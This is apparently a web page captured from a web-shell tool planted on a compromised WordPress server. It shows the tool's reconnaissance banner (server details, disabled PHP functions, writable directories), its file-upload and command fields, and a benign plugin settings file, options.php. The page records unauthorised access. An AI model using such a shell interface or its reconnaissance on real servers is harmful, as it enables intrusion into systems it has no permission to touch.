403Webshell
Server IP : 93.184.69.11  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux wa01 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : web673 ( 1054)
PHP Version : 7.0.33-84+0~20251218.106+debian11~1.gbpe01fd8
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client310/web673/web/wp-content/plugins/disable-comments-rb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client310/web673/web/wp-content/plugins/disable-comments-rb/options.php
<?php
/*  
 * RB 	Disable Comments
 * Version:           1.0.9 - 38451
 * Author:            RBS
 * Date:              03 02 2020 12:11:29 GMT
 */

if( !defined('WPINC') || !defined("ABSPATH") ){
	die();
}

$types = get_post_types( array( 'public' => true ), 'objects' );
foreach( array_keys( $types ) as $type ) {
	if( ! in_array( $type, $this->modified_types ) && ! post_type_supports( $type, 'comments' ) )
		unset( $types[$type] );
}

if ( isset( $_POST['submit'] ) ) {
	check_admin_referer( 'disable-comments-rb-options' );
	$this->options['remove_everywhere'] = ( $_POST['mode'] == 'remove_everywhere' );

	if( $this->options['remove_everywhere'] )
		$disabled_post_types = array_keys( $types );
	else
		$disabled_post_types =  array() ;

	$disabled_post_types = array_intersect( $disabled_post_types, array_keys( $types ) );

	$this->options['disabled_post_types'] = $disabled_post_types;

	$this->save_options();
}
?>
<style> .indent {padding-left: 2em} </style>
<div class="wrap">
	<h1><?php _e( 'Disable Comments RB', 'disable-comments-rb'); ?></h1>
	<p>
		<?php _e('Here you can configure your disabled comments tools. Section with all configuration settings of this tool.', 'disable-comments-rb') ;?>
	</p>
	<form action="" method="post" id="disable-comments">
		<ul>
			<li>
				<label for="remove_everywhere">
					<input type="radio" id="remove_everywhere" name="mode" value="remove_everywhere" <?php checked( isset($this->options['remove_everywhere']) && $this->options['remove_everywhere'] );?> /> 
					<strong>
						<?php _e( 'Disable all comments', 'disable-comments-rb'); ?>
					</strong>
				</label>			
			</li>
			<li>
				<label for="rb_disable_comments_off">
					<input type="radio" id="rb_disable_comments_off" name="mode" value="rb_disable_comments_off" <?php checked(  !isset($this->options['remove_everywhere']) ||  !$this->options['remove_everywhere'] );?> /> 
					<strong>
						<?php _e( 'Enable all Comments (comments on entire site will be turned on)', 'disable-comments-rb'); ?>
					</strong>
				</label>
			</li>
		</ul>
		<?php wp_nonce_field( 'disable-comments-rb-options' ); ?>
		<p class="submit">
			<input class="button-primary" type="submit" name="submit" value="<?php _e( 'Save Changes', 'disable-comments-rb') ?>">
		</p>
	</form>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit